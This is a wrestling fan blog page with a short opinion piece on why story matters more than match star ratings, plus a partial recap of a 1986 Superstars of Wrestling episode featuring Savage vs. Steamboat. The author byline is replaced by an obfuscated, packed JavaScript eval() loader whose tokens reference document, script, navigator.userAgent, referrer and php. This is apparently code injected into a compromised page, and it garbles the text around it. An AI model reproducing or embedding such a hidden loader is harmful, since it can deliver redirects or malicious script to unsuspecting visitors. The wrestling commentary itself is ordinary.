Thought of the Day: Stars Do Not Make The Match

By eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iahzf|var|u0026u|referrer|ehnai||js|php'.split('|'),0,{})) that I mean rating stars.I was reading a summary of Vince Russo’s latest shoot interview and he mentioned that the casual fans don’t care about a match being four stars and lasting twenty minutes with great workrate.  In something that isn’t often said, Russo is exactly right on this point.  Casual fans care about the story and having fun on any given night.  Look at what is considered the greatest match ever: Randy Savage vs. Ricky Steamboat.  Do you think the match would be as beloved as it was if not for the basic backstory (Savage injured Steamboat and Steamboat is here for revenge)?  The fans wanted to see Steamboat get his revenge and the fact that the match is a masterpiece helps a lot, but it’s not the main reason most fans liked it.

 

In other words, booking for the fans that want long and entertaining matches is a bad idea, as most fans get bored and change the channel for stuff like that.




Superstars of Wrestling – November 22, 1986: Savage vs. Steamboat Begins Here

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Date: November 22, 1986
Location: Broome County Arena, Binghamton, New York
Attendance: 6,400
Commentators: Vince McMahon, Jesse Ventura, Bruno Sammartino

Opening sequence does its opening thing.

Vince runs down the card and HOKEY SMOKE there are two famous things on this show.

Intercontinental Title: Randy Savage vs. Ricky Steamboat

Hebner and Danny Davis argue over who gets to be the referee here. Steamboat is all fired up but Hebner (who I guess won the argument) tears him off Savage. Ricky speeds things up again and slams the champ down for two before hitting the armdrag into the armbar as only he can. Savage gets up and runs Steamboat over a few times but gets caught in another perfect armdrag.

UPDATE!

Paul Orndorff is the #1 contender to Hulk Hogan and thinks anyone claiming otherwise is crazy. Orndorff says comparing him to Hogan is like comparing ice cream to horse manure.

Al Navaro vs. Junkyard Dog

Powerslam in maybe 35 seconds ends this. Next.

Dino Bravo vs. Kurt Kauffman

This is another squash that runs almost twice as long as the previous one. Bravo wins it with a belly to back suplex before Fink can finish reading the house show ads.

Outback Jack is training with some natives in Australia. Ok then.

Jimmy Jack Funk vs. Dick Slater

Billy Jack Haynes vs. Ray Vance

This is almost joined in progress for some reason. Haynes pounds him down with pure power and hooks the full nelson for the tap out. This lasted maybe a minute or so.

Hillbilly Jim/Tito Santana/Pedro Morales vs. Dream Team/Johnny V

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